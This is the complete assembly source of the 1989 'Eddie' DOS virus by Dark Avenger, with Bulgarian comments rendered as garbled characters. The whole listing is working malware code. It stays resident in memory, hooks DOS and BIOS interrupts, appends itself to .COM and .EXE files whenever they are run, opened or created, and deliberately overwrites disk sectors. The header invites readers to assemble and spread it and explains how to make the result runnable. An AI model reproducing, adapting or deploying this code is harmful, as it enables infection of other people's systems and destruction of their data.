;************************ ;* * ;* E D D I E * ;* * ;* by Dark Avenger * ;* * ;* 3-JAN-1989 * ;* * ;* version 1.31x * ;* * ;************************ ; "Blessed is he who expects nothing, for he shall not be disappointed." ; П░ед ва▒ ▒▓ои о░игинални┐▓ ▓ек▒▓ на един о▓ п║░ви▓е б║лга░▒ки ви░│▒и. Как▓о ; може би ╣е забележи▓е, ▓ой е п║лен ▒ гл│по▒▓и и г░е╕ки, но в║п░еки ▓ова не ; ▒амо ╖е ▒е ░азп░о▒▓░ани │╖│два╣о б║░зо из ▒▓░ана▓а, но и │▒п┐ за к░а▓ко в░еме ; да обиколи ▒ве▓а (Той е ░азп░о▒▓░анен как▓о в Из▓о╖на и Западна Ев░опа, ▓ака и ; в Аме░ика). Тек▒▓║▓ ▒е ░азп░о▒▓░ан┐ва нап║лно ▒вободно по ▒л│╖ай 1 година о▓ ; зав║░╕ване▓о на базова▓а м│ ве░▒и┐. Вие има▓е п░аво да ░азп░о▒▓░ан┐ва▓е ; ▓ек▒▓а как▓о безпла▓но, ▓ака и ▒░е╣│ запла╣ане ▒ един▒▓вено▓о │▒ловие ▓ой ; изоб╣о да не е п░омен┐н. Кой▓о │ми╕лено ░азп░о▒▓░ан┐ва п░оменен по н┐как║в ; на╖ин ▓ек▒▓, в║░╕и ▓ова п░о▓ив желание▓о на ав▓о░а и ╣е б║де наказан! В║п░еки ; ▓ова, ав▓о░║▓ ╣е ▒е ░адва ако н┐кой о▓ ва▒ изв║░╕и подоб░ени┐ в ▓ек▒▓а и ; ░азп░о▒▓░ан┐ва пол│╖ени┐ изп║лним ┤айл (▓.е. ▒ами┐▓ ви░│▒). Об║░не▓е ; внимание, ╖е ▒лед а▒ембли░ане▓о пол│╖ени┐▓ .COM ┤айл не може да б║де ; ▒▓а░▓и░ан. За ╢ел▓а ▓░┐бва да ▒║здаде▓е ┤айл ▒ д║лжина 3 бай▓а, ▒║д║░жа╣ ; ╕е▒▓най▒е▓и╖ни▓е ╖и▒ла 0e9h, 68h, 0 и ▒лед ▓ова да обедини▓е два▓а ┤айла. Не ; ▒е опи▓вай▓е да по▒▓ави▓е ин▒▓░│к╢и┐ JMP в на╖ало▓о на ▓ек▒▓а. ; ПРЕДУПРЕЖДЕНИЕ: Ав▓о░║▓ не поема никаква о▓гово░но▒▓ за ди░ек▓но или ; инди░ек▓но нане▒ени ╣е▓и, п░едизвикани о▓ използване▓о или неизполз│ване▓о на ; ▓ози ▓ек▒▓ или на пол│╖ени┐ п░и а▒ембли░ане код. Никаква га░ан╢и┐ не ▒е дава ; за ┤│нк╢иони░ане▓о или ка╖е▒▓во▓о на п░од│к▓а. ; Не мога да не ▒е в║зд║░жа да изкажа ▒пе╢иална▓а ▒и благода░но▒▓ на мо┐ ; поп│л┐░иза▓о░ инж. Ве▒елин Бон╖ев, кой▓о ми п░ави гол┐ма ░еклама и о▒вен ; ▓ова, и▒кайки или не, ▓ой ▒║дей▒▓в│ва много за ░азп░о▒▓░ан┐ване▓о на мои▓е ; ви░│▒и в║п░еки, ╖е ▒е опи▓ва да п░ави ▓о╖но об░а▓но▓о (пи▒ане▓о на п░ог░ами на ; C никого не е довело до доб░о). ; Позд░ави на в▒и╖ки ви░│▒опи▒а╖и! code segment assume cs:code,ds:code copyright: db 'Eddie lives...somewhere in time!',0 date_stamp: dd 12239000h checksum: db 30 ; В░║╣ане на │п░авление▓о на .EXE ┤айл: ; В║з▒▓анов┐ва DS=ES=PSP, за░ежда SS:SP и CS:IP. exit_exe: mov bx,es add bx,10h add bx,word ptr cs:[si+call_adr+2] mov word ptr cs:[si+patch+2],bx mov bx,word ptr cs:[si+call_adr] mov word ptr cs:[si+patch],bx mov bx,es add bx,10h add bx,word ptr cs:[si+stack_pointer+2] mov ss,bx mov sp,word ptr cs:[si+stack_pointer] db 0eah ;JMP XXXX:YYYY patch: dd 0 ; В░║╣ане на │п░авление▓о на .COM ┤айл: ; В║з▒▓анов┐ва 3-▓е бай▓а в на╖ало▓о на ┤айла, за░ежда SP и IP. exit_com: mov di,100h add si,offset my_save movsb movsw mov sp,ds:[6] ;Това е неп░авилно xor bx,bx push bx jmp [si-11] ;si+call_adr-top_file ; В╡одна ▓о╖ка на п░ог░ама▓а. startup: call relative relative: pop si ;SI = $ sub si,offset relative cld cmp word ptr cs:[si+my_save],5a4dh je exe_ok cli mov sp,si ;За .COM ┤айлове▓е ▒е подд║░жа о▓делен add sp,offset top_file+100h ;▒▓ек, за да не ▒е п░еме▒▓и п░ог░ама▓а sti ;в║░╡│ ▒▓ека cmp sp,ds:[6] jnc exit_com exe_ok: push ax push es push si push ds mov di,si ; Нами░ане на ад░е▒а на INT 13h в ROM-BIOS xor ax,ax push ax mov ds,ax les ax,ds:[13h*4] mov word ptr cs:[si+fdisk],ax mov word ptr cs:[si+fdisk+2],es mov word ptr cs:[si+disk],ax mov word ptr cs:[si+disk+2],es mov ax,ds:[40h*4+2] ;В INT 40h ▒е запазва ад░е▒а на INT 13h cmp ax,0f000h ;за ди▒ке▓и п░и нали╖ие на ▓в║░д ди▒к jne nofdisk mov word ptr cs:[si+disk+2],ax mov ax,ds:[40h*4] mov word ptr cs:[si+disk],ax mov dl,80h mov ax,ds:[41h*4+2] ;INT 41h обикновено ▒о╖и в ▒егмен▓а, cmp ax,0f000h ;к║де▓о е о░игинални┐ INT 13h век▓о░ je isfdisk cmp ah,0c8h jc nofdisk cmp ah,0f4h jnc nofdisk test al,7fh jnz nofdisk mov ds,ax cmp ds:[0],0aa55h jne nofdisk mov dl,ds:[2] isfdisk: mov ds,ax xor dh,dh mov cl,9 shl dx,cl mov cx,dx xor si,si findvect: lodsw ;Обикновено запо╖ва ▒: cmp ax,0fa80h ; CMP DL,80h jne altchk ; JNC н┐к║де lodsw cmp ax,7380h je intchk jne nxt0 altchk: cmp ax,0c2f6h ;или ▒: jne nxt ; TEST DL,80h lodsw ; JNZ н┐к║де cmp ax,7580h jne nxt0 intchk: inc si ;▒лед кое▓о има: lodsw ; INT 40h cmp ax,40cdh je found sub si,3 nxt0: dec si dec si nxt: dec si loop findvect jmp short nofdisk found: sub si,7 mov word ptr cs:[di+fdisk],si mov word ptr cs:[di+fdisk+2],ds nofdisk: mov si,di pop ds ; П░ове░ка дали п░ог░ама▓а е ░езиден▓на les ax,ds:[21h*4] mov word ptr cs:[si+save_int_21],ax mov word ptr cs:[si+save_int_21+2],es push cs pop ds cmp ax,offset int_21 jne bad_func xor di,di mov cx,offset my_size scan_func: lodsb scasb jne bad_func loop scan_func pop es jmp go_program ; П░еме▒▓ване на п░ог░ама▓а в го░ни┐ к░ай на паме▓▓а ; (▓│к е п║лно ▒ гл│по▒▓и и г░е╕ки) bad_func: pop es mov ah,49h int 21h mov bx,0ffffh mov ah,48h int 21h sub bx,(top_bz+my_bz+1ch-1)/16+2 jc go_program mov cx,es stc adc cx,bx mov ah,4ah int 21h mov bx,(offset top_bz+offset my_bz+1ch-1)/16+1 stc sbb es:[2],bx push es mov es,cx mov ah,4ah int 21h mov ax,es dec ax mov ds,ax mov word ptr ds:[1],8 call mul_16 mov bx,ax mov cx,dx pop ds mov ax,ds call mul_16 add ax,ds:[6] adc dx,0 sub ax,bx sbb dx,cx jc mem_ok sub ds:[6],ax ;Намал┐ване на големина▓а на ▒егмен▓а mem_ok: pop si push si push ds push cs xor di,di mov ds,di lds ax,ds:[27h*4] mov word ptr cs:[si+save_int_27],ax mov word ptr cs:[si+save_int_27+2],ds pop ds mov cx,offset aux_size rep movsb xor ax,ax mov ds,ax mov ds:[21h*4],offset int_21;П░е╡ва╣ане на INT 21h и INT 27h mov ds:[21h*4+2],es mov ds:[27h*4],offset int_27 mov ds:[27h*4+2],es mov word ptr es:[filehndl],ax pop es go_program: pop si ; Замазване на ▒ледва╣и┐ ▒ек▓о░ о▓ ди▒ка xor ax,ax mov ds,ax mov ax,ds:[13h*4] mov word ptr cs:[si+save_int_13],ax mov ax,ds:[13h*4+2] mov word ptr cs:[si+save_int_13+2],ax mov ds:[13h*4],offset int_13 add ds:[13h*4],si mov ds:[13h*4+2],cs pop ds push ds push si mov bx,si lds ax,ds:[2ah] xor si,si mov dx,si scan_envir: ;Нами░а име▓о на п░ог░ама▓а lodsw ;(▒║▒ DOS 2.x и без д░│го не ░або▓и) dec si test ax,ax jnz scan_envir add si,3 lodsb ; Следва╣а▓а ин▒▓░│к╢и┐ е п║лна гл│по▒▓. Опи▓ай▓е да ▒и напи╕е▓е path-а ▒ ; малки б│кви, ▒лед ▓ова п│▒не▓е за░азена п░ог░ама о▓ ▓ам. В ░ез│л▓а▓ ; на г░е╕ка▓а ▓│к + г░е╕ка в DOS ▒ледва╣и┐▓ ▒ек▓о░ не ▒е замазва, но ▒е ; замазва▓ два бай▓а в паме▓▓а, най-ве░о┐▓но в║░╡│ за░азена▓а п░ог░ама. sub al,'A' mov cx,1 push cs pop ds add bx,offset int_27 push ax push bx push cx int 25h pop ax pop cx pop bx inc byte ptr [bx+0ah] and byte ptr [bx+0ah],0fh ;Изглежда 15 п║▓и неп░авене ни╣о е много jnz store_sec ;малко за н┐кои ╡о░а mov al,[bx+10h] xor ah,ah mul word ptr [bx+16h] add ax,[bx+0eh] push ax mov ax,[bx+11h] mov dx,32 mul dx div word ptr [bx+0bh] pop dx add dx,ax mov ax,[bx+8] add ax,40h cmp ax,[bx+13h] jc store_new inc ax and ax,3fh add ax,dx cmp ax,[bx+13h] jnc small_disk store_new: mov [bx+8],ax store_sec: pop ax xor dx,dx push ax push bx push cx int 26h ; Запи▒║▓ п░ез ▓ова п░ек║▒ване не е най-│мно▓о не╣о, за╣о▓о ▓о може да б║де ; п░е╡вана▓о (как▓о е │▒п┐л да забележи Ве▒елин Бон╖ев) pop ax pop cx pop bx pop ax cmp byte ptr [bx+0ah],0 jne not_now mov dx,[bx+8] pop bx push bx int 26h small_disk: pop ax not_now: pop si xor ax,ax mov ds,ax mov ax,word ptr cs:[si+save_int_13] mov ds:[13h*4],ax mov ax,word ptr cs:[si+save_int_13+2] mov ds:[13h*4+2],ax pop ds pop ax cmp word ptr cs:[si+my_save],5a4dh jne go_exit_com jmp exit_exe go_exit_com: jmp exit_com int_24: mov al,3 ;Тази ин▒▓░│к╢и┐ изглежда изли╕на iret ; Об░або▓ка на INT 27h (▓ова е необ╡одимо) int_27: pushf call alloc popf jmp dword ptr cs:[save_int_27] ; П░и DOS-┤│нк╢ии▓е Set & Get Vector ▒е ░або▓и ка▓о ╖е ли п░ог░ама▓а не ги е ; п░е╡ванала (▓ова е ▒║мни▓елно п░едим▒▓во и е един в║зможен из▓о╖ник на ; недо░аз│мени┐ ▒ н┐кои "ин▓елиген▓ни" п░ог░ами) set_int_27: mov word ptr cs:[save_int_27],dx mov word ptr cs:[save_int_27+2],ds popf iret set_int_21: mov word ptr cs:[save_int_21],dx mov word ptr cs:[save_int_21+2],ds popf iret get_int_27: les bx,dword ptr cs:[save_int_27] popf iret get_int_21: les bx,dword ptr cs:[save_int_21] popf iret exec: call do_file call alloc popf jmp dword ptr cs:[save_int_21] db 'Diana P.',0 ; Об░або▓ка на INT 21h. О▒║╣е▒▓в┐ва за░аз┐ване▓о на ┤айлове▓е ; п░и изп║лнение, копи░ане, ░азглеждане или ▒║здаване и н┐кои д░│ги опе░а╢ии. ; Изп║лнение▓о на ┤│нк╢ии 0 и 26h п░едизвиква ло╕и по▒леди╢и. int_21: push bp mov bp,sp push [bp+6] popf pop bp pushf call ontop cmp ax,2521h je set_int_21 cmp ax,2527h je set_int_27 cmp ax,3521h je get_int_21 cmp ax,3527h je get_int_27 cld cmp ax,4b00h je exec cmp ah,3ch je create cmp ah,3eh je close cmp ah,5bh jne not_create create: cmp word ptr cs:[filehndl],0;Може и да е 0 п░и о▓во░ен ┤айл jne dont_touch call see_name jnz dont_touch call alloc popf call function jc int_exit pushf push es push cs pop es push si push di push cx push ax mov di,offset filehndl stosw mov si,dx mov cx,65 move_name: lodsb stosb test al,al jz all_ok loop move_name mov word ptr es:[filehndl],cx all_ok: pop ax pop cx pop di pop si pop es go_exit: popf jnc int_exit ;JMP close: cmp bx,word ptr cs:[filehndl] jne dont_touch test bx,bx jz dont_touch call alloc popf call function jc int_exit pushf push ds push cs pop ds push dx mov dx,offset filehndl+2 call do_file mov word ptr cs:[filehndl],0 pop dx pop ds jmp go_exit not_create: cmp ah,3dh je touch cmp ah,43h je touch cmp ah,56h ;За ▒║жаление командни┐ ин▓е░п░е▓а▓о░ jne dont_touch ;не използ│ва ▓ази ┤│нк╢и┐ touch: call see_name jnz dont_touch call do_file dont_touch: call alloc popf call function int_exit: pushf push ds call get_chain mov byte ptr ds:[0],'Z' pop ds popf dummy proc far ;??? ret 2 dummy endp ; П░ове░┐ва дали ┤айл║▓ е .COM или .EXE. Не ▒е извиква п░и изп║лнение на ┤айл. see_name: push ax push si mov si,dx scan_name: lodsb test al,al jz bad_name cmp al,'.' jnz scan_name call get_byte mov ah,al call get_byte cmp ax,'co' jz pos_com cmp ax,'ex' jnz good_name call get_byte cmp al,'e' jmp short good_name pos_com: call get_byte cmp al,'m' jmp short good_name bad_name: inc al good_name: pop si pop ax ret ; П░еоб░аз│ва в lowercase (подп░ог░ами▓е ▒а велико не╣о). get_byte: lodsb cmp al,'C' jc byte_got cmp al,'Y' jnc byte_got add al,20h byte_got: ret ; Извиква о░игинални┐ INT 21h (за да не ▒е за╢икли). function: pushf call dword ptr cs:[save_int_21] ret ; У░ежда в║п░о▒а на изп║лним ┤айл. do_file: push ds ;Запазва ░еги▒▓░и▓е в ▒▓ека push es push si push di push ax push bx push cx push dx mov si,ds xor ax,ax mov ds,ax les ax,ds:[24h*4] ;Запазва INT 13h и INT 24h в ▒▓ека push es ;и ги подмен┐ ▒ кои▓о ▓░┐бва push ax mov ds:[24h*4],offset int_24 mov ds:[24h*4+2],cs les ax,ds:[13h*4] mov word ptr cs:[save_int_13],ax mov word ptr cs:[save_int_13+2],es mov ds:[13h*4],offset int_13 mov ds:[13h*4+2],cs push es push ax mov ds,si xor cx,cx ;У░ежда в║п░о▒а на Read-only ┤айлове▓е mov ax,4300h call function mov bx,cx and cl,0feh cmp cl,bl je dont_change mov ax,4301h call function stc dont_change: pushf push ds push dx push bx mov ax,3d02h ;Сега ве╖е можем на ▒покой▒▓вие да call function ;о▓во░им ┤айла jc cant_open mov bx,ax call disease mov ah,3eh ;За▓ва░┐не call function cant_open: pop cx pop dx pop ds popf jnc no_update mov ax,4301h ;В║з▒▓анов┐ване на а▓░иб│▓и▓е на ┤айла, call function ;ако ▒а били п░оменени (за в▒еки ▒л│╖ай) no_update: xor ax,ax ;В║з▒▓анов┐ване на INT 13h и INT 24h mov ds,ax pop ds:[13h*4] pop ds:[13h*4+2] pop ds:[24h*4] pop ds:[24h*4+2] pop dx ;В║з▒▓анов┐ване на ░еги▒▓░и▓е pop cx pop bx pop ax pop di pop si pop es pop ds ret ; Тази подп░ог░ама в║░╕и ╖е░на▓а ░або▓а. disease: push cs pop ds push cs pop es mov dx,offset top_save ;П░о╖и▓ане на на╖ало▓о на ┤айла mov cx,18h mov ah,3fh int 21h xor cx,cx xor dx,dx mov ax,4202h ;Запазване на д║лжина▓а на ┤айла int 21h mov word ptr [top_save+1ah],dx cmp ax,offset my_size ;Би ▓░┐бвало да б║де top_file sbb dx,0 jc stop_fuck_2 ;Малки ┤айлове не ▒е за░аз┐ва▓ mov word ptr [top_save+18h],ax cmp word ptr [top_save],5a4dh jne com_file mov ax,word ptr [top_save+8] add ax,word ptr [top_save+16h] call mul_16 add ax,word ptr [top_save+14h] adc dx,0 mov cx,dx mov dx,ax jmp short see_sick com_file: cmp byte ptr [top_save],0e9h jne see_fuck mov dx,word ptr [top_save+1] add dx,103h jc see_fuck dec dh xor cx,cx ; П║лна п░ове░ка дали за ┤айла е залепен кой▓о ▓░┐бва see_sick: sub dx,startup-copyright sbb cx,0 mov ax,4200h int 21h add ax,offset top_file adc dx,0 cmp ax,word ptr [top_save+18h] jne see_fuck cmp dx,word ptr [top_save+1ah] jne see_fuck mov dx,offset top_save+1ch mov si,dx mov cx,offset my_size mov ah,3fh int 21h jc see_fuck cmp cx,ax jne see_fuck xor di,di next_byte: lodsb scasb jne see_fuck loop next_byte stop_fuck_2: ret see_fuck: xor cx,cx ;Пози╢иони░ане в к░а┐ на ┤айла xor dx,dx mov ax,4202h int 21h cmp word ptr [top_save],5a4dh je fuck_exe add ax,offset aux_size+200h ;Да не ▒▓ане .COM ┤айла много гол┐м adc dx,0 je fuck_it ret ; Из░авн┐ва на г░ани╢а на па░аг░а┤ за .EXE ┤айлове▓е. Това е аб▒ол╛▓но нен│жно. fuck_exe: mov dx,word ptr [top_save+18h] neg dl and dx,0fh xor cx,cx mov ax,4201h int 21h mov word ptr [top_save+18h],ax mov word ptr [top_save+1ah],dx fuck_it: mov ax,5700h ;Запазване на да▓а▓а на ┤айла int 21h pushf push cx push dx cmp word ptr [top_save],5a4dh je exe_file ;Много │мно, н┐ма ╣о mov ax,100h jmp short set_adr exe_file: mov ax,word ptr [top_save+14h] mov dx,word ptr [top_save+16h] set_adr: mov di,offset call_adr stosw mov ax,dx stosw mov ax,word ptr [top_save+10h] stosw mov ax,word ptr [top_save+0eh] stosw mov si,offset top_save ;Това дава в║зможно▒▓ на ░азни в░едни movsb ;п░ог░ами да в║з▒▓анов┐▓ ▓о╖но movsw ;о░игинална▓а д║лжина на .EXE ┤айла xor dx,dx mov cx,offset top_file mov ah,40h int 21h ;Запи▒ване на п░ог░ама▓а jc go_no_fuck ;(не ▓░а▒и░ай▓е ▓│к) xor cx,ax jnz go_no_fuck mov dx,cx mov ax,4200h int 21h cmp word ptr [top_save],5a4dh je do_exe mov byte ptr [top_save],0e9h mov ax,word ptr [top_save+18h] add ax,startup-copyright-3 mov word ptr [top_save+1],ax mov cx,3 jmp short write_header go_no_fuck: jmp short no_fuck ; Кон▒▓░│и░ане на header-а на .EXE ┤айла do_exe: call mul_hdr not ax not dx inc ax jne calc_offs inc dx calc_offs: add ax,word ptr [top_save+18h] adc dx,word ptr [top_save+1ah] mov cx,10h div cx mov word ptr [top_save+14h],startup-copyright mov word ptr [top_save+16h],ax add ax,(offset top_file-offset copyright-1)/16+1 mov word ptr [top_save+0eh],ax mov word ptr [top_save+10h],100h add word ptr [top_save+18h],offset top_file adc word ptr [top_save+1ah],0 mov ax,word ptr [top_save+18h] and ax,1ffh mov word ptr [top_save+2],ax pushf mov ax,word ptr [top_save+19h] shr byte ptr [top_save+1bh],1 rcr ax,1 popf jz update_len inc ax update_len: mov word ptr [top_save+4],ax mov cx,18h write_header: mov dx,offset top_save mov ah,40h int 21h ;Запи▒ване на на╖ало▓о на ┤айла no_fuck: pop dx pop cx popf jc stop_fuck mov ax,5701h ;В║з▒▓анов┐ване на о░игинална▓а да▓а int 21h stop_fuck: ret ; Използ│ва ▒е о▓ подп░ог░ами▓е за об░або▓ка на INT 21h и INT 27h в║в в░║зка ; ▒║▒ ▒к░иване▓о на п░ог░ама▓а в паме▓▓а о▓ ╡о░а, кои▓о н┐ма н│жда да ┐ ; вижда▓. Ц┐ла▓а ▓ази ▒и▒▓ема е аб▒│░дна и гл│пава и е о╣е един из▓о╖ник ; на кон┤лик▓ни ▒и▓│а╢ии. alloc: push ds call get_chain mov byte ptr ds:[0],'M' pop ds ; О▒иг│░┐ва о▒▓аване▓о на п░ог░ама▓а на в║░╡а на ве░ига▓а п░о╢е▒и, ; п░е╡ванали INT 21h (е▓о о╣е един из▓о╖ник на кон┤лик▓и). ontop: push ds push ax push bx push dx xor bx,bx mov ds,bx lds dx,ds:[21h*4] cmp dx,offset int_21 jne search_segment mov ax,ds mov bx,cs cmp ax,bx je test_complete ; П░е▓║░▒ва ▒егмен▓а на на▓░апника п░е╡ванал INT 21h, за да наме░и к║де ▓ой ; е запазил ▒▓а░а▓а ▒▓ойно▒▓ и да ┐ подмени. За INT 27h не ▒е п░ави ни╣о. xor bx,bx search_segment: mov ax,[bx] cmp ax,offset int_21 jne search_next mov ax,cs cmp ax,[bx+2] je got_him search_next: inc bx jne search_segment je return_control got_him: mov ax,word ptr cs:[save_int_21] mov [bx],ax mov ax,word ptr cs:[save_int_21+2] mov [bx+2],ax mov word ptr cs:[save_int_21],dx mov word ptr cs:[save_int_21+2],ds xor bx,bx ; И да не го пази в ▒║╣и┐ ▒егмен▓, ▓ова в▒е едно н┐ма да м│ помогне return_control: mov ds,bx mov ds:[21h*4],offset int_21 mov ds:[21h*4+2],cs test_complete: pop dx pop bx pop ax pop ds ret ; Нами░ане на ▒егмен▓а на по▒ледни┐ MCB get_chain: push ax push bx mov ah,62h call function mov ax,cs dec ax dec bx next_blk: mov ds,bx stc adc bx,ds:[3] cmp bx,ax jc next_blk pop bx pop ax ret ; Умножение по 16 mul_hdr: mov ax,word ptr [top_save+8] mul_16: mov dx,10h mul dx ret db 'This program was written in the city of Sofia ' db '(C) 1988-89 Dark Avenger',0 ; Об░або▓ка на INT 13h. ; Извиква о░игинални▓е век▓о░и в BIOS, ако ▒▓ава д│ма за запи▒. int_13: cmp ah,3 jnz subfn_ok cmp dl,80h jnc hdisk db 0eah ;JMP XXXX:YYYY my_size: ;--- До▓│к ▒е ▒░авн┐ва ▒ о░игинала disk: dd 0 hdisk: db 0eah ;JMP XXXX:YYYY fdisk: dd 0 subfn_ok: db 0eah ;JMP XXXX:YYYY save_int_13: dd 0 call_adr: dd 100h stack_pointer: dd 0 ;О░игинална ▒▓ойно▒▓ на SS:SP my_save: int 20h ;О░игинално ▒║д║░жание на п║░ви▓е nop ;3 бай▓а о▓ ┤айла top_file: ;--- До▓│к ▒е запи▒ва в║в ┤айлове▓е filehndl equ $ filename equ filehndl+2 ;Б│┤е░ за име на ▓ек│╣о о▓во░ени┐ ┤айл save_int_27 equ filename+65 ;О░игинална ▒▓ойно▒▓ на INT 27h save_int_21 equ save_int_27+4 ;О░игинална ▒▓ойно▒▓ на INT 21h aux_size equ save_int_21+4 ;--- До▓│к ▒е п░еме▒▓ва в паме▓▓а top_save equ save_int_21+4 ;На╖ало на б│┤е░а, ▒║д║░жа╣: ; - П║░ви▓е 24 бай▓а п░о╖е▓ени о▓ ┤айла ; - Д║лжина▓а на ┤айла (4 бай▓а) ; - По▒ледни▓е бай▓ове о▓ ┤айла ; (▒ д║лжина my_size) top_bz equ top_save-copyright my_bz equ my_size-copyright code ends end